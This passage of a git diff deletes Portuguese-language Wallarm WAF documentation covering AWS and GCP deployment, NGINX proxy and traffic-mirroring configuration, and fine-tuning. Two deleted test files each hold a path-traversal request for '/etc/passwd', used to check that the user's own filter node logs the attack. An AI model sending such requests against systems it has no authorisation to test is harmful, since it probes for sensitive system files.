nestes **casos de uso**: - -* Sua infraestrutura existente reside na AWS. -* Você pretende implantar uma solução de segurança como uma instância em nuvem separada, em vez de instalá-la diretamente em sistemas de frontend como NGINX. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/article-for-inline-oob-ami.md b/include-pt-BR/waf/installation/cloud-platforms/article-for-inline-oob-ami.md deleted file mode 100644 index d3a90488d1..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/article-for-inline-oob-ami.md +++ /dev/null @@ -1,29 +0,0 @@ -# Implantando o Wallarm a partir da Amazon Machine Image - -Este artigo fornece instruções para implantar o Wallarm na AWS usando a [Imagem oficial da Máquina Amazon (AMI)](https://aws.amazon.com/marketplace/pp/B073VRFXSD). A solução pode ser implantada tanto [na linha][inline-docs] quanto [Fora da Banda][oob-docs]. - -## Casos de uso - ---8<-- "../include/waf/installation/cloud-platforms/ami-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md" - -## 6. Permitir que o Wallarm analise o tráfego - ---8<-- "../include/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md" - -## 7. Reiniciar o NGINX - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" - -## 8. Configurar o envio de tráfego para a instância Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 9. Testar a operação do Wallarm - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 10. Ajustar a solução implantada - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options.md" \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.6.md b/include-pt-BR/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.6.md deleted file mode 100644 index 72c649d5ed..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image-4.6.md +++ /dev/null @@ -1,29 +0,0 @@ -# Implementando Wallarm a partir da Imagem da Máquina GCP - -Este artigo fornece instruções para implementar o Wallarm no GCP usando a [Imagem oficial da Máquina](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node). A solução pode ser implementada [no local][inline-docs] ou [Fora da Banda][oob-docs]. - -## Casos de uso - ---8<-- "../include/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.6.md" - -## 5. Permita que Wallarm analise o tráfego - ---8<-- "../include/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md" - -## 6. Reinicializar o NGINX - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" - -## 7. Configure o envio de tráfego à instância Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 8. Teste a operação do Wallarm - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 9. Ajuste a solução implantada - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options.md" \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md b/include-pt-BR/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md deleted file mode 100644 index ec07e7a3d7..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md +++ /dev/null @@ -1,29 +0,0 @@ -# Implementando Wallarm a partir da Imagem de Máquina GCP - -Este artigo fornece instruções para implementar o Wallarm no GCP usando a [Imagem de Máquina oficial](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node). A solução pode ser implementada [em linha][inline-docs] ou [Out-of-Band][oob-docs]. - -## Casos de uso - ---8<-- "../include/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md" - -## 5. Ative o Wallarm para analisar o tráfego - ---8<-- "../include/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md" - -## 6. Reinicie o NGINX - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" - -## 7. Configure o envio de tráfego para a instância do Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline-oob.md" - -## 8. Teste o funcionamento do Wallarm - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 9. Ajuste a solução implementada - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options.md" \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/aws-ecs-use-cases.md b/include-pt-BR/waf/installation/cloud-platforms/aws-ecs-use-cases.md deleted file mode 100644 index e10caf77b5..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/aws-ecs-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Dentre todas as [opções de implantação da Wallarm][platform] suportadas, a implantação da Wallarm no AWS ECS usando a imagem Docker é recomendada nestes **casos de uso**: - -* Se suas aplicações utilizam uma arquitetura de microserviços, e já estão em contêineres e operacionais no AWS ECS. -* Se você precisa de um controle maior e mais refinado sobre cada contêiner, a imagem Docker se destaca. Ela proporciona um maior nível de isolamento de recursos do que normalmente é possível com implantações baseadas em VM tradicionais. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/azure-container-instances-use-cases.md b/include-pt-BR/waf/installation/cloud-platforms/azure-container-instances-use-cases.md deleted file mode 100644 index 18017f4f22..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/azure-container-instances-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Dentre todas as [opções de implementação do Wallarm][plataforma] suportadas, a implementação do Wallarm no Azure Container Instances utilizando a imagem Docker é recomendada nesses **casos de uso**: - -* Se suas aplicações se beneficiam de uma arquitetura de microsserviços e já estão contêinerizadas e operacionais no Azure Container Instances. -* Se você precisa de um controle refinado sobre cada contêiner, a imagem Docker se destaca. Ela oferece um maior nível de isolamento de recursos do que normalmente é possível com implementações baseadas em VM tradicionais. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis-inline.md b/include-pt-BR/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis-inline.md deleted file mode 100644 index 4e2a91677a..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis-inline.md +++ /dev/null @@ -1,32 +0,0 @@ -Por padrão, o nó Wallarm implantado não analisa o tráfego de entrada. Para iniciar a análise de tráfego, configure o Wallarm para proxy o tráfego através do arquivo `/etc/nginx/sites-enabled/default` na instância Wallarm: - -1. Defina um endereço IP para o Wallarm fazer proxy do tráfego legítimo. Pode ser um IP de uma instância de aplicativo, balanceador de carga ou nome DNS, etc., dependendo da sua arquitetura. - - Para fazer isso, edite o valor `proxy_pass`, por exemplo, o Wallarm deve enviar solicitações legítimas para `http://10.80.0.5`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` -1. Para que o nó Wallarm analise o tráfego de entrada, defina a diretiva `wallarm_mode` para `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - O modo de monitoramento é o recomendado para o primeiro deployment e teste da solução. Wallarm fornece modos seguros de bloqueio e bloqueio, [leia mais][wallarm-mode]. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md b/include-pt-BR/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md deleted file mode 100644 index 8689ae6b91..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/common-steps-to-enable-traffic-analysis.md +++ /dev/null @@ -1,67 +0,0 @@ -Por padrão, o nó Wallarm implantado não analisa o tráfego de entrada. - -Dependendo da abordagem de implementação Wallarm selecionada ([in-line][inline-docs] ou [Out-of-Band][oob-docs]), configure o Wallarm para fazer proxy do tráfego ou processar o espelho do tráfego. - -Realize a seguinte configuração no arquivo `/etc/nginx/sites-enabled/default` na instância Wallarm: - -=== "In-line" - 1. Defina um endereço IP para o Wallarm fazer proxy do tráfego legítimo. Pode ser um IP de uma instância de aplicativo, balanceador de carga, ou nome DNS, etc., dependendo da sua arquitetura. - - Para isso, edite o valor `proxy_pass`, por ex., o Wallarm deve enviar solicitações legítimas para `http://10.80.0.5`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - ... - - location / { - proxy_pass http://10.80.0.5; - ... - } - } - ``` - 1. Para o nó Wallarm analisar o tráfego de entrada, defina a diretiva `wallarm_mode` para `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - O modo de monitoramento é recomendado para a primeira implementação e teste de solução. O Wallarm também fornece modos de bloqueio seguro e de bloqueio, [leia mais][wallarm-mode]. -=== "Out-of-Band" - 1. Para o nó Wallarm aceitar tráfego espelhado, defina a seguinte configuração no bloco `server` NGINX: - - ``` - wallarm_force server_addr $http_x_server_addr; - wallarm_force server_port $http_x_server_port; - # Altere 222.222.222.22 para o endereço do servidor de espelhamento - set_real_ip_from 222.222.222.22; - real_ip_header X-Forwarded-For; - real_ip_recursive on; - wallarm_force response_status 0; - wallarm_force response_time 0; - wallarm_force response_size 0; - ``` - - * As diretivas `set_real_ip_from` e `real_ip_header` são necessárias para que o Console Wallarm [exiba os endereços IP dos atacantes][real-ip-docs]. - * As diretivas `wallarm_force_response_*` são necessárias para desativar a análise de todas as solicitações, exceto para cópias recebidas do tráfego espelhado. - 1. Para o nó Wallarm analisar o tráfego espelhado, defina a diretiva `wallarm_mode` para `monitoring`: - - ``` - server { - listen 80; - listen [::]:80 ipv6only=on; - wallarm_mode monitoring; - - ... - } - ``` - - Como as solicitações maliciosas [não podem][oob-advantages-limitations] ser bloqueadas, o único [modo][wallarm-mode] que o Wallarm aceita é o monitoramento. Para a implementação in-line, existem também modos de bloqueio seguro e de bloqueio, mas mesmo que você defina a diretiva `wallarm_mode` para um valor diferente de monitoramento, o nó continua monitorando o tráfego e apenas registra o tráfego malicioso (além do modo definido para desligado). \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/fine-tuning-options.md b/include-pt-BR/waf/installation/cloud-platforms/fine-tuning-options.md deleted file mode 100644 index 77b87102b3..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/fine-tuning-options.md +++ /dev/null @@ -1,23 +0,0 @@ -A implantação agora está completa. O nó de filtragem pode exigir alguma configuração adicional após a implantação. - -As configurações do Wallarm são definidas usando as [diretivas NGINX][wallarm-nginx-directives] ou a UI do Console Wallarm. As diretivas devem ser definidas nos seguintes arquivos na instância Wallarm: - -* `/etc/nginx/sites-enabled/default` define a configuração do NGINX -* `/etc/nginx/conf.d/wallarm.conf` define a configuração global do nó de filtragem Wallarm -* `/etc/nginx/conf.d/wallarm-status.conf` define a configuração do serviço de monitoramento do nó de filtragem -* `/etc/default/wallarm-tarantool` ou `/etc/sysconfig/wallarm-tarantool` com as configurações do banco de dados Tarantool - -Você pode modificar os arquivos listados ou criar seus próprios arquivos de configuração para definir a operação do NGINX e Wallarm. É recomendado criar um arquivo de configuração separado com o bloco `server` para cada grupo de domínios que devem ser processados da mesma maneira (por exemplo, `example.com.conf`). Para ver informações detalhadas sobre o trabalho com arquivos de configuração do NGINX, prossiga para a [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). - -!!! info "Criando um arquivo de configuração" - Ao criar um arquivo de configuração personalizado, certifique-se de que o NGINX está ouvindo as conexões de entrada na porta livre. - -Abaixo estão algumas das configurações típicas que você pode aplicar, se necessário: - -* [Auto-escalabilidade do nó Wallarm][autoscaling-docs] -* [Exibindo o IP real do cliente][real-ip-docs] -* [Alocando recursos para nós Wallarm][allocate-memory-docs] -* [Limitando o tempo de processamento de uma única solicitação][limiting-request-processing] -* [Limitando o tempo de espera da resposta do servidor](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Limitando o tamanho máximo da solicitação](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Registrando o nó Wallarm][logs-docs] \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md b/include-pt-BR/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md deleted file mode 100644 index 9535ee7da8..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Entre todas as [opções de implementação do Wallarm][deployment-platform-docs] suportadas, a Imagem de Máquina GCP é recomendada para a implementação do Wallarm nestes **casos de uso**: - -* Sua infraestrutura existente reside no GCP. -* Você pretende implementar uma solução de segurança como uma instância de nuvem separada, em vez de instalá-la diretamente em sistemas front-end como o NGINX. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/google-gce-use-cases.md b/include-pt-BR/waf/installation/cloud-platforms/google-gce-use-cases.md deleted file mode 100644 index 940dc413b3..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/google-gce-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Dentre todas as [opções de implantação do Wallarm][platform] suportadas, é recomendada a implantação do Wallarm no Google Compute Engine (GCE) usando a imagem Docker nestes **casos de uso**: - -* Se suas aplicações utilizam uma arquitetura de microserviços e já estão contêinerizadas e operacionais no GCE. -* Se você precisa de um controle mais detalhado sobre cada contêiner, a imagem Docker se destaca. Ela proporciona um nível maior de isolamento de recursos do que geralmente é possível com implantações tradicionais baseadas em VM. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md b/include-pt-BR/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md deleted file mode 100644 index f0968238a5..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md +++ /dev/null @@ -1,82 +0,0 @@ -## Requisitos - -* Uma conta AWS -* Entendimento de AWS EC2, Security Groups -* Qualquer região AWS de sua escolha, não há restrições específicas na região para a implantação do nó Wallarm -* Acesso à conta com a função **Administrador** e autenticação de dois fatores desativada no Console Wallarm para a [Nuvem US](https://us1.my.wallarm.com/) ou [Nuvem EU](https://my.wallarm.com/) -* Acesso a `https://us1.api.wallarm.com:444` para trabalhar com a Nuvem Wallarm US ou a `https://api.wallarm.com:444` para trabalhar com a Nuvem Wallarm EU. Se o acesso puder ser configurado apenas via servidor proxy, então use as [instruções][wallarm-api-via-proxy] -* Executando todos os comandos em uma instância Wallarm como superusuário (por exemplo, `root`) - -## 1. Crie um par de chaves SSH na AWS - -Durante o processo de implantação, você precisará se conectar à máquina virtual via SSH. A Amazon EC2 permite criar um par nomeado de chaves SSH públicas e privadas que podem ser usadas para se conectar à instância. - -Para criar um par de chaves: - -1. Navegue até a guia **Key pairs** no painel da Amazon EC2. -2. Clique no botão **Create Key Pair**. -3. Insira um nome para o par de chaves e clique no botão **Create**. - -Uma chave SSH privada no formato PEM começará a ser baixada automaticamente. Salve a chave para se conectar à instância criada no futuro. - -Para ver informações detalhadas sobre a criação de chaves SSH, prossiga para a [documentação da AWS][link-ssh-keys]. - -## 2. Crie um Grupo de Segurança - -Um Grupo de Segurança define conexões de entrada e saída permitidas e proibidas para máquinas virtuais. A lista final de conexões depende do aplicativo protegido (por exemplo, permitindo todas as conexões de entrada para as portas TCP/80 e TCP/443). - -Para criar um grupo de segurança para o nó de filtragem: - -1. Navegue até a guia **Security Groups** no painel da Amazon EC2 e clique no botão **Create Security Group**. -2. Insira um nome para o grupo de segurança e uma descrição opcional na janela de diálogo que aparece. -3. Selecione o VPC necessário. -4. Configure as regras de conexões de entrada e saída nas guias **Inbound** e **Outbound**. -5. Clique no botão **Create** para criar o grupo de segurança. - -![Criando um grupo de segurança][img-create-sg] - -!!! warning "Regras para conexões de saída do grupo de segurança" - Ao criar um grupo de segurança, todas as conexões de saída são permitidas por padrão. Se você restringir as conexões de saída do nó de filtragem, certifique-se de que ele tenha acesso a um servidor API Wallarm. A escolha do servidor API Wallarm depende da Nuvem Wallarm que você está usando: - - * Se você está usando a Nuvem US, seu nó precisa ter acesso à `us1.api.wallarm.com`. - * Se você está usando a Nuvem EU, seu nó precisa ter acesso à `api.wallarm.com`. - - O nó de filtragem requer acesso a um servidor API Wallarm para operação correta. - -Para ver informações detalhadas sobre a criação de um Grupo de Segurança, prossiga para a [documentação da AWS][link-sg]. - -## 3. Inicie uma instância do nó Wallarm - -Para iniciar uma instância com o nó de filtragem Wallarm, prossiga para este [link](https://aws.amazon.com/marketplace/pp/B073VRFXSD) e inscreva-se no nó de filtragem. - -Ao criar uma instância, você precisa especificar o Grupo de Segurança [criado anteriormente][anchor1] da seguinte forma: - -1. Ao trabalhar com o Assistente de Lançamento de Instância, prossiga para a etapa **6. Configure Security Group** de lançamento da instância clicando na guia correspondente. -2. Escolha a opção **Select an existing security group** na configuração **Assign a security group**. -3. Selecione o grupo de segurança na lista que aparece. - -Depois de especificar todas as configurações de instância necessárias, clique no botão **Review and Launch**, certifique-se de que a instância está configurada corretamente e clique no botão **Launch**. - -Na janela que aparece, especifique o par de chaves [criado anteriormente][anchor2] executando as seguintes ações: - -1. Na primeira lista suspensa, selecione a opção **Choose an existing key pair**. -2. Na segunda lista suspensa, selecione o nome do par de chaves. -3. Certifique-se de que você tem acesso à chave privada no formato PEM do par de chaves especificado na segunda lista suspensa e marque a caixa para confirmar isso. -4. Clique no botão **Launch Instances**. - -A instância será iniciada com o nó de filtragem pré-instalado. - -Para ver informações detalhadas sobre o lançamento de instâncias na AWS, prossiga para a [documentação da AWS][link-launch-instance]. - -## 4. Conecte-se à instância do nó de filtragem via SSH - -Para ver informações detalhadas sobre maneiras de se conectar a uma instância via SSH, prossiga para a [documentação da AWS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html). - -Você precisa usar o nome de usuário `admin` para se conectar à instância. - -!!! info "Usando a chave para conectar via SSH" - Use a chave privada no formato PEM que você [criou anteriormente][anchor2] para se conectar à instância via SSH. Essa deve ser a chave privada do par de chaves SSH que você especificou ao criar uma instância. - -## 5. Conecte o nó de filtragem à Nuvem Wallarm - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md" \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.6.md b/include-pt-BR/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.6.md deleted file mode 100644 index 6c68bc9b52..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.6.md +++ /dev/null @@ -1,71 +0,0 @@ -## Requisitos - -* Uma conta GCP -* Acesso à conta com a função **Administrador** e autenticação de dois fatores desativada no Console Wallarm para o [Cloud US](https://us1.my.wallarm.com/) ou [Cloud EU](https://my.wallarm.com/) -* Acesso a `https://us1.api.wallarm.com:444` para trabalhar com o Wallarm Cloud US ou a `https://api.wallarm.com:444` para trabalhar com o Wallarm Cloud EU. Se o acesso puder ser configurado apenas via servidor proxy, use as [instruções][wallarm-api-via-proxy] -* Execução de todos os comandos em uma instância Wallarm como superusuário (por exemplo, `root`) - -## 1. Inicie uma instância do nó de filtragem - -### Inicie a instância por meio da UI do Google Cloud - -Para iniciar a instância do nó de filtragem através da interface do usuário do Google Cloud, abra a [imagem do nó Wallarm no Google Cloud Marketplace](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node) e clique em **INICIAR**. - -A instância será iniciada com um nó de filtragem pré-instalado. Para ver informações detalhadas sobre o lançamento de instâncias no Google Cloud, prossiga para a [documentação oficial da plataforma Google Cloud][link-launch-instance]. - -### Inicie a instância através do Terraform ou outras ferramentas - -Ao usar uma ferramenta como o Terraform para lançar a instância do nó de filtragem usando a imagem Wallarm GCP, você pode precisar fornecer o nome desta imagem na configuração do Terraform. - -* O nome da imagem tem o seguinte formato: - - ```bash - wallarm-node-195710/wallarm-node--build - ``` -* Para iniciar a instância com a versão 4.6 do nó de filtragem, use o seguinte nome de imagem: - - ```bash - wallarm-node-195710/wallarm-node-4-6-20230630-122224 - ``` - -Para obter o nome da imagem, você também pode seguir estas etapas: - -1. Instale o [Google Cloud SDK](https://cloud.google.com/sdk/docs/install). -2. Execute o comando [`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list) com os seguintes parâmetros: - - ```bash - gcloud compute images list --project wallarm-node-195710 --filter="name~'wallarm-node-4-6-*'" --no-standard-images - ``` -3. Copie o valor da versão do nome da imagem mais recente disponível e cole o valor copiado no formato de nome de imagem fornecido. Por exemplo, a imagem da versão 4.6 do nó de filtragem terá o seguinte nome: - - ```bash - wallarm-node-195710/wallarm-node-4-6-20230630-122224 - ``` - -## 2. Configure a instância do nó de filtragem - -Realize as seguintes ações para configurar a instância do nó de filtragem lançada: - -1. Navegue até a página **Instâncias de VM** na seção **Engine de computação** do menu. -2. Selecione a instância do nó de filtragem lançada e clique no botão **Editar**. -3. Permita os tipos necessários de tráfego de entrada, marcando as caixas correspondentes nas configurações **Firewalls**. -4. Se necessário, você pode restringir a conexão à instância com as chaves SSH do projeto e usar um par de chaves SSH personalizado para se conectar a essa instância. Para fazer isso, realize as seguintes ações: - 1. Marque a caixa **Bloquear em todo o projeto** nas configurações **Chaves SSH**. - 2. Clique no botão **Mostrar e editar** nas configurações **Chaves SSH** para expandir o campo para inserir uma chave SSH. - 3. Gere um par de chaves SSH públicas e privadas. Por exemplo, você pode usar os utilitários `ssh-keygen` e `PuTTYgen`. - - ![Gerando chaves SSH usando PuTTYgen][img-ssh-key-generation] - - 4. Copie uma chave aberta no formato OpenSSH da interface do gerador de chaves usado (no exemplo atual, a chave pública gerada deve ser copiada da área **Public key for pasting into OpenSSH authorized_keys file** da interface PuTTYgen) e cole-a no campo contendo a dica **Enter entire key data**. - 5. Salve a chave privada. Ela será necessária para se conectar à instância configurada no futuro. -5. Clique no botão **Salvar** na parte inferior da página para aplicar as alterações. - -## 3. Conecte-se à instância do nó de filtragem via SSH - -Para obter informações detalhadas sobre maneiras de se conectar a instâncias, prossiga para este [link](https://cloud.google.com/compute/docs/instances/connecting-to-instance). - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. Conecte o nó de filtragem à Nuvem Wallarm - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md" diff --git a/include-pt-BR/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md b/include-pt-BR/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md deleted file mode 100644 index 934fadc43e..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md +++ /dev/null @@ -1,71 +0,0 @@ -## Requisitos - -* Uma conta GCP -* Acesso à conta com a função de **Administrador** e autenticação de dois fatores desativada no Console Wallarm para a [Nuvem dos EUA](https://us1.my.wallarm.com/) ou [Nuvem EU](https://my.wallarm.com/) -* Acesso a `https://us1.api.wallarm.com:444` para trabalhar com Wallarm Cloud US ou a `https://api.wallarm.com:444` para trabalhar com Wallarm Cloud EU. Se o acesso pode ser configurado apenas via servidor proxy, use as [instruções][wallarm-api-via-proxy] -* Executando todos os comandos em uma instância Wallarm como superusuário (por exemplo, `root`) - -## 1. Inicie uma instância do nó de filtragem - -### Inicie a instância através da interface do Google Cloud - -Para iniciar a instância do nó de filtragem através da interface do Google Cloud, abra a [imagem do nó Wallarm no Google Cloud Marketplace](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node) e clique em **LANÇAR**. - -A instância será iniciada com um nó de filtragem pré-instalado. Para ver informações detalhadas sobre o lançamento de instâncias no Google Cloud, consulte a [documentação oficial da Plataforma Google Cloud][link-launch-instance]. - -### Inicie a instância via Terraform ou outras ferramentas - -Ao usar uma ferramenta como o Terraform para iniciar a instância do nó de filtragem usando a imagem Wallarm GCP, você pode precisar fornecer o nome desta imagem na configuração do Terraform. - -* O nome da imagem tem o seguinte formato: - - ```bash - wallarm-node-195710/wallarm-node--build - ``` -* Para iniciar a instância com a versão 4.8 do nó de filtragem, use o seguinte nome de imagem: - - ```bash - wallarm-node-195710/wallarm-node-4-8-20231019-221905 - ``` - -Para obter o nome da imagem, você também pode seguir estas etapas: - -1. Instale o [Google Cloud SDK](https://cloud.google.com/sdk/docs/install). -2. Execute o comando [`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list) com os seguintes parâmetros: - - ```bash - gcloud compute images list --project wallarm-node-195710 --filter="name~'wallarm-node-4-8-*'" --no-standard-images - ``` -3. Copie o valor da versão do nome da imagem mais recente disponível e cole o valor copiado no formato do nome da imagem fornecido. Por exemplo, a imagem da versão 4.8 do nó de filtragem terá o seguinte nome: - - ```bash - wallarm-node-195710/wallarm-node-4-8-20231019-221905 - ``` - -## 2. Configure a instância do nó de filtragem - -Realize as seguintes ações para configurar a instância do nó de filtragem iniciada: - -1. Navegue até a página de **VM instances** na seção **Compute Engine** do menu. -2. Selecione a instância do nó de filtragem lançada e clique no botão **Editar**. -3. Permita os tipos necessários de tráfego de entrada marcando as caixas de seleção correspondentes na configuração do **Firewalls**. -4. Se necessário, você pode restringir a conexão à instância com as chaves SSH do projeto e usar um par de chaves SSH personalizado para se conectar a esta instância. Para fazer isso, execute as seguintes ações: - 1. Marque a caixa de seleção **Bloquear em todo o projeto** na configuração das **Chaves SSH**. - 2. Clique no botão **Mostrar e editar** na configuração **Chaves SSH** para expandir o campo para inserir uma chave SSH. - 3. Gere um par de chaves SSH pública e privada. Por exemplo, você pode usar as utilidades `ssh-keygen` e `PuTTYgen`. - - ![Gerando chaves SSH usando PuTTYgen][img-ssh-key-generation] - - 4. Copie uma chave aberta no formato OpenSSH a partir da interface do gerador de chaves usado (no exemplo atual, a chave pública gerada deve ser copiada da área **Chave pública para colar no arquivo authorized_keys do OpenSSH** da interface do PuTTYgen) e cole-o no campo contendo a dica **Insira todos os dados da chave**. - 5. Salve a chave privada. Ela será necessária para conectar a instância configurada no futuro. -5. Clique no botão **Salvar** na parte inferior da página para aplicar as alterações. - -## 3. Conecte-se à instância do nó de filtragem via SSH - -Para ver informações detalhadas sobre maneiras de se conectar a instâncias, acesse este [link](https://cloud.google.com/compute/docs/instances/connecting-to-instance). - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. Conecte o nó de filtragem à Nuvem Wallarm - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md" diff --git a/include-pt-BR/waf/installation/cloud-platforms/restart-nginx.md b/include-pt-BR/waf/installation/cloud-platforms/restart-nginx.md deleted file mode 100644 index 0402d17ad6..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/restart-nginx.md +++ /dev/null @@ -1,7 +0,0 @@ -Para aplicar as configurações, reinicie o NGINX na instância Wallarm: - -``` bash -sudo systemctl restart nginx -``` - -Cada alteração de arquivo de configuração exige que o NGINX seja reiniciado para aplicá-la. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/test-operation-inline.md b/include-pt-BR/waf/installation/cloud-platforms/test-operation-inline.md deleted file mode 100644 index 31346721ea..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/test-operation-inline.md +++ /dev/null @@ -1,9 +0,0 @@ -1. A solicitação com teste de ataque [Path Traversal][ptrav-attack-docs] para um endereço do balanceador de carga ou da máquina com o nó Wallarm: - - ``` - curl http:///etc/passwd - ``` -2. Abra o Console Wallarm → seção **Eventos** na [Nuvem dos EUA](https://us1.my.wallarm.com/attacks) ou [Nuvem da UE](https://my.wallarm.com/attacks) e certifique-se de que o ataque está exibido na lista. - ![Ataques na interface][attacks-in-ui-image] - -Como a Wallarm opera no modo de monitoramento, o nó Wallarm não bloqueia o ataque, mas o registra. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/cloud-platforms/test-operation-oob.md b/include-pt-BR/waf/installation/cloud-platforms/test-operation-oob.md deleted file mode 100644 index a90cbad9b5..0000000000 --- a/include-pt-BR/waf/installation/cloud-platforms/test-operation-oob.md +++ /dev/null @@ -1,9 +0,0 @@ -1. A solicitação com teste de ataque [Path Traversal][ptrav-attack-docs] para um endereço da web ou do servidor proxy que espelha o tráfego ou a máquina com o nó Wallarm: - - ``` - curl http:///etc/passwd - ``` -2. Abra a Wallarm Console → seção **Eventos** na [Nuvem dos EUA](https://us1.my.wallarm.com/attacks) ou [Nuvem da UE](https://my.wallarm.com/attacks) e certifique-se de que o ataque está listado. - ![Ataques na interface][attacks-in-ui-image] - -Como o Wallarm OOB opera no modo de monitoramento, o nó Wallarm não bloqueia o ataque, mas o registra. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/common-customization-options-216.md b/include-pt-BR/waf/installation/common-customization-options-216.md deleted file mode 100644 index 8c03b9b68c..0000000000 --- a/include-pt-BR/waf/installation/common-customization-options-216.md +++ /dev/null @@ -1,10 +0,0 @@ -Opções comuns de personalização: - -* [Configuração do modo de filtragem][waf-mode-instr] -* [Registrar variáveis do nó Wallarm][logging-instr] -* [Uso do balanceador do servidor proxy atrás do nó de filtragem][proxy-balancer-instr] -* [Adicionando endereços do Scanner Wallarm à lista de permissões no modo de filtragem `block`][scanner-allowlisting-instr] -* [Limitação do tempo de processamento de uma única solicitação na diretiva `wallarm_process_time_limit`][process-time-limit-instr] -* [Limitação do tempo de espera da resposta do servidor na diretiva NGINX `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Limitação do tamanho máximo da solicitação na diretiva NGINX 